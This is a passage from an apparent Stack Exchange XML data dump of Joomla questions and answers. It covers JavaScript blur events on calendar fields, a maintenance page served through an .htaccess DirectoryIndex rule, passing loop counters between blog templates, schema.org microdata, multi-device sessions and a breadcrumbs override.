page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2019-11-15T21:54:23.880" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26412" PostTypeId="1" AcceptedAnswerId="26422" CreationDate="2019-11-15T22:46:17.840" Score="2" ViewCount="3475" Body="&lt;p&gt;I need help in triggering a Blur event attached to a calendar field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The event I am trying to trigger is added in /media/system/calendar.js around line 1003&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JoomlaCalendar.prototype._bindEvents = function () {&#xA;    var self = this;&#xA;    this.inputField.addEventListener('blur', function(event) {&#xA;        var calObj = JoomlaCalendar.getCalObject(this)._joomlaCalendar;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The field the event is attached to is the Start Publishing field for my testing&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; id=&quot;jform_publish_up&quot; name=&quot;jform[publish_up]&quot; value=&quot;2012-01-04&quot; size=&quot;22&quot; class=&quot;inputbox&quot; data-alt-value=&quot;2012-01-04&quot; autocomplete=&quot;off&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My bit of JS where I am trying to trigger the Blur Event.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function addDate(target_field) &#xA;{&#xA;    document.getElementById(target_field).value = currentDate();&#xA;    document.getElementById(target_field).blur();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first line adds the current date to the field and works fine on other field types and will work on the calendar fields provided I place the cursor in the calendar field and leave(this is what triggers the Blur normally) at some point before I try to submit the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tracked it down to a few lines of code that need to run in the above blur event that allows my new value for the field to be saved and not reset back to the value it was before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second line is where I am trying to trigger the function and what is there is just the latest of things that don't seem to have any affect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And for completeness here is my other test field that kicks of the process of adding the date to the start publishing field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;jform[note]&quot; id=&quot;jform_note&quot; value=&quot;3432&quot; class=&quot;inputbox&quot; size=&quot;40&quot; onchange=&quot;addDate('jform_publish_up')&quot; maxlength=&quot;255&quot; aria-invalid=&quot;false&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a follow on question to this one for earlier in the week, &lt;a href=&quot;https://joomla.stackexchange.com/questions/26389/how-to-update-a-field-only-when-another-filed-is-changed&quot;&gt;How to Update a field only when another filed is changed&lt;/a&gt; , and if I can save the dates then I can close it off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update 17/11 - This is the piece of code that I believe I need to run after my date  value is added to the target_field. /media/system/js/calendar.js at Approx. line 1013.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if (calObj) {&#xA;        if (calObj.inputField.value) {&#xA;            if (typeof calObj.params.dateClicked === 'undefined') {&#xA;                calObj.inputField.setAttribute('data-local-value', calObj.inputField.value);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Without data-local-value being set, and this happens as the cursor leaves the field, then other processing in calendar.js that runs on Submit will revert the field back to the original value.&#xA;You can see this in any/most Joomla date fields if you inspect the event for the field you can this code under the third entry which is calendar.js&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2019-11-16T22:30:28.457" LastActivityDate="2019-11-17T12:54:42.627" Title="JS : How to trigger a Blur event with my code" Tags="|joomla-3.x|javascript|jform|calendar|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="26413" PostTypeId="2" ParentId="26410" CreationDate="2019-11-16T00:19:17.597" Score="1" Body="&lt;p&gt;Website visitors can be directed to a maintenance page at &lt;code&gt;index.html&lt;/code&gt; or &lt;code&gt;index.htm&lt;/code&gt; rather than any &lt;code&gt;kickstart.php&lt;/code&gt; or &lt;code&gt;index.php&lt;/code&gt; file as most hosts are configured to load &lt;code&gt;index.html&lt;/code&gt; or &lt;code&gt;index.htm&lt;/code&gt; in preference to &lt;code&gt;index.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can ensure this is the case by adding the following directive to your &lt;code&gt;.htaccess&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DirectoryIndex index.html index.htm index.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It won't occur to most website visitors to try browsing directly to &lt;code&gt;index.php&lt;/code&gt; or &lt;code&gt;kickstart.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple &lt;code&gt;index.html&lt;/code&gt; maintenance page might look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;&#xA;&amp;lt;head&amp;gt;&#xA;  &amp;lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html; charset=utf-8&quot; /&amp;gt;&#xA;  &amp;lt;title&amp;gt;Website Name&amp;lt;/title&amp;gt;&#xA;  &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;https://fonts.googleapis.com/css?family=Signika&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;  &amp;lt;style&amp;gt;&#xA;      html, body {&#xA;        margin: 0;&#xA;        padding: 0;&#xA;        background-color: #FFFFFF;&#xA;        color: #222222;&#xA;        font-family: &quot;Signika&quot;,&quot;Arial&quot;,sans-serif;&#xA;        width: 100%;&#xA;        height: 100%;&#xA;        display: table;&#xA;      }&#xA;      #content {&#xA;        display: table-cell;&#xA;        text-align: center;&#xA;        vertical-align: middle;&#xA;        padding: 0 20px;&#xA;      }&#xA;      h1 {&#xA;        font-size: 4rem;&#xA;      }&#xA;      h2 {&#xA;        font-size: 3rem;&#xA;      }&#xA;      p {&#xA;        color: #888888;&#xA;        font-size: 1.6rem;&#xA;      }&#xA;    &amp;lt;/style&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&#xA;&amp;lt;body&amp;gt;&#xA;    &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;      &amp;lt;h1&amp;gt;Website Name&amp;lt;/h1&amp;gt;&#xA;      &amp;lt;h2&amp;gt;Website Offline&amp;lt;/h2&amp;gt;&#xA;      &amp;lt;p&amp;gt;This website is down for maintenance.&amp;lt;br /&amp;gt;Please check back again soon.&amp;lt;/p&amp;gt;&#xA;      &amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once the website is ready for public viewing, simply delete or rename the &lt;code&gt;index.html&lt;/code&gt; or &lt;code&gt;index.htm&lt;/code&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2019-11-16T00:29:11.167" LastActivityDate="2019-11-16T00:29:11.167" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26415" PostTypeId="1" AcceptedAnswerId="26417" CreationDate="2019-11-16T13:15:00.860" Score="1" ViewCount="281" Body="&lt;p&gt;I have &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;blog.php&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;blog_item.php&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then the layout &#xA;&lt;strong&gt;intro_image.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to count the number of blog posts, which is already being done in leading and intro articles in the blog.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how can I pass that variable to either &lt;strong&gt;blog_item.php&lt;/strong&gt; or to the layout &lt;strong&gt;intro_image.php&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that there is &lt;code&gt;$displayData&lt;/code&gt; in the layout file, so perhaps I can pass the value to that object somehow so I can retrieve it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can &lt;code&gt;get&lt;/code&gt; things how can I &lt;code&gt;set&lt;/code&gt; things?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the reasons for wanting to know this is because in the &lt;code&gt;foreach&lt;/code&gt; loop there is a &lt;code&gt;$counter++&lt;/code&gt; and if I know what is the current number I can apply a bit of code to every 3rd item. &lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2019-11-17T20:12:57.803" LastActivityDate="2019-11-19T15:07:23.150" Title="How to pass a variable from blog.php through to intro_image" Tags="|category-blog|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26416" PostTypeId="1" AcceptedAnswerId="26421" CreationDate="2019-11-16T17:10:21.720" Score="2" ViewCount="139" Body="&lt;p&gt;I have added microdata into every article manually and it works fine.&#xA;Now I want to insert them into the latest articles module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To override the module in my template and I added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li itemscope itemtype=&quot;https://schema.org/Article&quot;&amp;gt;&#xA;    &amp;lt;span itemprop=&quot;publisher&quot; itemscope itemtype=&quot;http://schema.org/Organization&quot;&amp;gt;&#xA;        &amp;lt;span itemprop=&quot;name&quot; content=&quot;...your organization name...&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;span itemprop=&quot;logo&quot; itemscope itemtype=&quot;https://schema.org/ImageObject&quot;&amp;gt;&#xA;            &amp;lt;link itemprop=&quot;url&quot; href=&quot;/images/KS.jpg&quot;&amp;gt;&#xA;            &amp;lt;meta itemprop=&quot;width&quot; content=&quot;50&quot;&amp;gt;&#xA;            &amp;lt;meta itemprop=&quot;height&quot; content=&quot;50&quot;&amp;gt;&#xA;        &amp;lt;/span&amp;gt;&#xA;    &amp;lt;/span&amp;gt;&#xA;    &amp;lt;span itemprop=&quot;author&quot; content=&quot;...your name...&quot;&amp;gt;&amp;lt;/span&amp;gt;` &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it works for organization, organization image - logo and author.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next I added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta itemprop=&quot;datePublished&quot; content=&quot;&amp;lt;?php echo JHtml::_('date', $item-&amp;gt;publish_up, JText::_('Y-m-dTh:m:s')); ?&amp;gt; &quot; &amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it works for published date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I have a problem when I try to add articles image markup. I added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $images = json_decode($item-&amp;gt;images); ?&amp;gt;&#xA;&amp;lt;span itemprop=&quot;image&quot; itemscope itemtype=&quot;https://schema.org/ImageObject&quot;&amp;gt;&#xA;    &amp;lt;link itemprop=&quot;url&quot; href=&quot;&amp;lt;?php echo htmlspecialchars($images-&amp;gt;image_intro); ?&amp;gt;&quot; alt=&quot;&amp;lt;?php echo htmlspecialchars($images-&amp;gt;image_intro_alt); ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;meta itemprop=&quot;width&quot; content=&quot;150&quot;&amp;gt;&#xA;    &amp;lt;meta itemprop=&quot;height&quot; content=&quot;100&quot;&amp;gt;&#xA;&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it works fine, but only for intro images through article image and links tab. I have my images in my html (not in image and links tab) and I want to extract image url from html. I have more than 400 articles and I prefer to extract the images from the html.&lt;/p&gt;&#xA;" OwnerUserId="8707" LastEditorUserId="12352" LastEditDate="2019-11-16T20:57:34.913" LastActivityDate="2019-11-17T14:37:58.637" Title="Latest articles structured data markup" Tags="|joomla-3.x|php|articles|template-override|images|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26417" PostTypeId="2" ParentId="26415" CreationDate="2019-11-16T19:02:34.077" Score="1" Body="&lt;p&gt;&lt;strong&gt;There are some different ways&lt;/strong&gt; to get the number of articles (I think that is what you mean under blog items), I'll just give you one example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, you have to access the article list model:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do that the usual way like (I have not checked this in Joomla 3.9):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$model = JModelLegacy::getInstance('Articles', 'ContentModel', array( 'ignore_request' =&amp;gt; true ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you can do that with using newer classes like this (I use this in Joomla 3.9):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// on the top of your layout file:&#xA;&#xA;defined('_JEXEC') or die;&#xA;use \Joomla\CMS\MVC\Model\BaseDatabaseModel;&#xA;&#xA;BaseDatabaseModel::addIncludePath('components/com_content/models', 'ContentModel');&#xA;&#xA;$model = BaseDatabaseModel::getInstance('Articles', 'ContentModel', array('ignore_request' =&amp;gt; true));&#xA;// var_dump($model); // just to check it&#xA;$numberOfItems = count($model-&amp;gt;getItems());&#xA;&#xA;echo &quot;This is the total of items: &quot; . $numberOfItems . &quot;&amp;lt;br&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you have the list model then you just use the &lt;code&gt;getItems()&lt;/code&gt; method of that and count the items. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the reason I’m a bit avoiding your question about how to pass a variable among layouts and views is because those variables’ values are coming from the models too (created in the views), thus you can get and create them by accessing the models directly if you need them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE ON GETTING CONTENT PARAMS&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need for example the number of leading articles or the number of intro articles only, then since these are set in com_content parameters thus you can reach those values from anywhere in Joomla and get those data directly from the content params (registry object), using the component helper:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$content_params = JComponentHelper::getParams('com_content');&#xA;// var_dump($content_params); // you can check all of the available params of com_content&#xA;$number_leading = $content_params-&amp;gt;get('num_leading_articles');&#xA;$number_intro = $content_params-&amp;gt;get('num_intro_articles');&#xA;echo &quot;number of leading articles: &quot; . $number_leading . &quot;&amp;lt;br&amp;gt;&quot;;&#xA;echo &quot;number of intro articles: &quot; . $number_intro . &quot;&amp;lt;br&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The other part of your question on this like: what if there are not enough articles for intro then the number from the set parameters would be incorrect. I do not fully understand that part of your question. I do not see what exactly you want to accomplish to figure out a solution on that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE ON PASSING THE INTRO ITEMS AND LEAD ITEMS COUNTER VALUE OF ITEMS FROM &lt;em&gt;blog.php&lt;/em&gt; to &lt;em&gt;blog_item.php&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the particular variable needed was cleared more in the comments then the use of content params is still a viable option to pass the &lt;strong&gt;foreach loop counter value&lt;/strong&gt; for each items from &lt;strong&gt;blog.php&lt;/strong&gt; to &lt;strong&gt;blog_item.php&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in &lt;strong&gt;blog.php&lt;/strong&gt; you call and define the content params (like I already did above):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$content_params = JComponentHelper::getParams('com_content');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And within the &lt;strong&gt;lead items' foreach loop&lt;/strong&gt; you set a variable (before the code line: &lt;code&gt;echo $this-&amp;gt;loadTemplate('item');&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$content_params-&amp;gt;set('lead_count_number', $leadingcount + 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And within the &lt;strong&gt;intro items' foreach loop&lt;/strong&gt; you set a variable (before the code line: &lt;code&gt;echo $this-&amp;gt;loadTemplate('item');&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$content_params-&amp;gt;set('intro_count_number', $counter + 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way you can call and check this param value item by item if needed in &lt;strong&gt;blog_item.php&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$content_params = JComponentHelper::getParams('com_content');&#xA;$introCounterNumb = $content_params['intro_count_number'];&#xA;$leadCounterNumb = $content_params['lead_count_number'];&#xA;if (isset($introCounterNumb)){&#xA;    echo &quot;this is the intro item's number: &quot; . $introCounterNumb; // or do whatever&#xA;}&#xA;if (isset($leadCounterNumb)) {&#xA;    echo &quot;this is the lead item's number: &quot; . $leadCounterNumb;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A SIMPLER SOLUTION&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can avoid using content params if you just simply define a variable in &lt;strong&gt;blog.php&lt;/strong&gt; inside both foreach loops like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;lead_item_count = $leadingcount + 1;&#xA;$this-&amp;gt;intro_item_count = $counter + 1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then you can call these variables in the &lt;strong&gt;item_blog&lt;/strong&gt; layout (or any layout which belongs to this view class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The above is tried and works)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I hope this will help you.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2019-11-19T15:07:23.150" LastActivityDate="2019-11-19T15:07:23.150" CommentCount="19" ContentLicense="CC BY-SA 4.0" />
  <row Id="26419" PostTypeId="1" CreationDate="2019-11-17T10:52:48.313" Score="1" ViewCount="302" Body="&lt;p&gt;Today users wish to be logged in across multiple devices. &#xA;The fact that Joomla signs out a user from all devices when one device was signout is driving users crazy. &#xA;Can someone please help me, and explain to me how I can make sure the user session is kept and terminated only in case the user clicked the logout button on a specific device (and will keep signed in on different devices) ? &lt;/p&gt;&#xA;" OwnerUserId="13919" LastActivityDate="2021-04-11T10:04:40.453" Title="Session Management Across Multiple Devices" Tags="|user|session|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26420" PostTypeId="2" ParentId="26416" CreationDate="2019-11-17T10:56:16.357" Score="1" Body="&lt;p&gt;The solution to my question. &#xA;I think is valid:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $images = json_decode($item-&amp;gt;images);&#xA;?&amp;gt;&#xA;&amp;lt;span itemprop=&quot;image&quot; itemscope itemtype=&quot;https://schema.org/ImageObject&quot;&amp;gt;&#xA;&amp;lt;link itemprop=&quot;url&quot; href=&quot;&amp;lt;?php // Create new DOMDocument object.&#xA;$dom = new DOMDOcument;&#xA;&#xA;// Load article text into DOMDocument.&#xA;$dom-&amp;gt;loadHTML($item-&amp;gt;introtext);&#xA;&#xA;// Get all images.&#xA;$images = $dom-&amp;gt;getElementsByTagName('img');&#xA;&#xA;// If article contains an image, get its URL.&#xA;$imageSrc = $images[0] ? $images[0]-&amp;gt;getAttribute('src') : null;&#xA;&#xA;// Output the image.&#xA;if ($imageSrc !== null)&#xA;{&#xA; echo '' . $imageSrc . '&amp;gt;';&#xA;}&#xA;?&amp;gt;&quot; alt=&quot;&amp;lt;?php // Create new DOMDocument object.&#xA;$dom = new DOMDOcument;&#xA;&#xA;// Load article text into DOMDocument.&#xA;$dom-&amp;gt;loadHTML($item-&amp;gt;introtext);&#xA;&#xA;// Get all images.&#xA;$images = $dom-&amp;gt;getElementsByTagName('img');&#xA;&#xA;// If article contains an image, get its URL.&#xA;$imageSrc = $images[0] ? $images[0]-&amp;gt;getAttribute('alt') : null;&#xA;&#xA;// Output the image.&#xA;if ($imageSrc !== null)&#xA;{&#xA; echo '' . $imageSrc . '&amp;gt;';&#xA;}&#xA;?&amp;gt;&quot;&amp;gt;```&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8707" LastActivityDate="2019-11-17T10:56:16.357" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26421" PostTypeId="2" ParentId="26416" CreationDate="2019-11-17T12:43:25.210" Score="3" Body="&lt;p&gt;I would have preferred to just suggest some touch ups to your snippet, but there is too much for me to address in your answer as a comment and I'd rather explain fully.  Instead, I'll post this new answer which will review and clean up your assumed-working coding attempt for the benefit of you and future researchers.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You are declaring &lt;code&gt;$images = json_decode($item-&amp;gt;images);&lt;/code&gt;, then before ever using it, you are overwriting that same variable with &lt;code&gt;$images = $dom-&amp;gt;getElementsByTagName('img');&lt;/code&gt;.  For this reason, you might as well, never declare it the first time.  Perhaps this is a typo while posting.  If this is correct: &lt;code&gt;$images = json_decode($item-&amp;gt;images);&lt;/code&gt;, then you probably mean to use &lt;code&gt;$dom-&amp;gt;loadHTML($images-&amp;gt;image_intro);&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You should try to separate your &quot;processing&quot; from your &quot;displaying&quot; as much as possible for clarity.  Rather than generating a dom document and extracting the desired data mid-way through writing your &lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt; tag, I recommend that you fully interrogate the &lt;code&gt;introtext&lt;/code&gt; data, then -- if there is any data to feed into the link tag -- then write your span and link tags.  If there is no usable data, I assume you don't need to print the span and link tags.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You don't need the extra overhead of two dom documents.  You can perform both &lt;code&gt;getAttribute()&lt;/code&gt; calls on the same element in one fell swoop.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If there is no &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag in the &lt;code&gt;introtext&lt;/code&gt;, then &lt;code&gt;$images[0]&lt;/code&gt; will generate a Notice because array element &lt;code&gt;[0]&lt;/code&gt; does not exist.  Instead of performing a &quot;truthy&quot; check, use &lt;code&gt;isset()&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There is no benefit to concatenating &lt;code&gt;''&lt;/code&gt; (an empty string) before or after a variable.  Simply omit it -- it is just code bloat.  I don't know who is teaching this technique, but I see it every once in a while on Stackoverflow.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;All together, transferring the first image's attributes from the introtext to your new tag is as simple as this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$dom = new DOMDOcument;&#xA;$dom-&amp;gt;loadHTML($item-&amp;gt;introtext);  // or $images-&amp;gt;image_intro  ...whatever you are actually calling it&#xA;$images = $dom-&amp;gt;getElementsByTagName('img');&#xA;if (isset($images[0])) {&#xA;    ?&amp;gt;&#xA;    &amp;lt;span itemprop=&quot;image&quot; itemscope itemtype=&quot;https://schema.org/ImageObject&quot;&amp;gt;&#xA;    &amp;lt;link itemprop=&quot;url&quot;&#xA;          href=&quot;&amp;lt;?php echo $images[0]-&amp;gt;getAttribute('src'); ?&amp;gt;&quot;&#xA;          alt=&quot;&amp;lt;?php echo $images[0]-&amp;gt;getAttribute('alt'); ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-11-17T14:37:58.637" LastActivityDate="2019-11-17T14:37:58.637" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26422" PostTypeId="2" ParentId="26412" CreationDate="2019-11-17T12:54:42.627" Score="1" Body="&lt;p&gt;Sometimes you can't see the forest for the trees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My JS now looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function addDate(target_field) &#xA;{&#xA;    document.getElementById(target_field).value = currentDate();&#xA;    document.getElementById(target_field).focus();&#xA;    document.getElementById(target_field).blur();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it works !!!&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-11-17T12:54:42.627" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26423" PostTypeId="2" ParentId="26419" CreationDate="2019-11-18T06:32:55.993" Score="1" Body="&lt;p&gt;Disable &quot;Force Logout for all Sessions?&quot; option in &quot;User - Joomla!&quot; plugin.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-11-18T06:32:55.993" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26424" PostTypeId="1" AcceptedAnswerId="26427" CreationDate="2019-11-18T16:03:05.797" Score="1" ViewCount="303" Body="&lt;p&gt;Using Joomla 3.9.12 and &lt;a href=&quot;https://www.joomshaper.com/joomla-extensions/sp-simple-portfolio&quot; rel=&quot;nofollow noreferrer&quot;&gt;SP Portfolio&lt;/a&gt; v1.7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a menu item called &lt;code&gt;Locations&lt;/code&gt;, this is a menu item type &lt;em&gt;SP Simple Portfolio » Items&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever I visit &lt;code&gt;example.com/locations&lt;/code&gt; I can see all my portfolio items, great. If I select one of the portfolio items, e.g. Paris, I am taken to &lt;code&gt;example.com/locations/paris&lt;/code&gt;, works as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have enabled the Joomla breadcrumbs module on this page and it displays;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You are here: Home / Locations / Paris&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Selecting &lt;code&gt;Home&lt;/code&gt; successfully takes me to the home page &lt;code&gt;example.com&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Selecting &lt;code&gt;Locations&lt;/code&gt; takes me to &lt;code&gt;example.com/locations/items&lt;/code&gt; - this page doesn't exist so I get a 404 error.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When I select &lt;code&gt;Locations&lt;/code&gt; in the breadcrumbs I want to go to &lt;code&gt;example.com/locations&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No idea where the additional &lt;code&gt;/items&lt;/code&gt; URL parameter is coming from, I can't see it configured anywhere in my menu setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I need to do in order to get this working how I want?&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2019-11-19T09:23:46.180" LastActivityDate="2019-12-23T09:16:40.377" Title="Breadcrumbs Incorrect URL Path" Tags="|joomla-3.x|menu-item|url|alias|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26427" PostTypeId="2" ParentId="26424" CreationDate="2019-11-19T14:14:57.007" Score="1" Body="&lt;p&gt;I managed to get this working by editing the (already existing Helix / Joomshaper) override.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After spending a (very!) long time trying to figure out where the &lt;code&gt;/items&lt;/code&gt; url parameter was coming from, I gave up and modified the override.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this isn't a solution but it solves my problem, and possibly someone else that uses the Helix framework or a Joomshaper template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this code to &lt;code&gt;your-template\html\mod_breadcrumbs\default.php&lt;/code&gt;, before the &lt;code&gt;foreach&lt;/code&gt; block.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array_walk($list, function (&amp;amp;$v) { &#xA;    if ($v-&amp;gt;name == 'Items') $v-&amp;gt;link = dirname($v-&amp;gt;link); &#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The breadcrumbs code returns an array with &lt;code&gt;name&lt;/code&gt; and &lt;code&gt;link&lt;/code&gt; keys. This checks the &lt;code&gt;link&lt;/code&gt; and if it contains &lt;code&gt;Items&lt;/code&gt;, it will be removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Working so far..&lt;/p&gt;&#xA;" 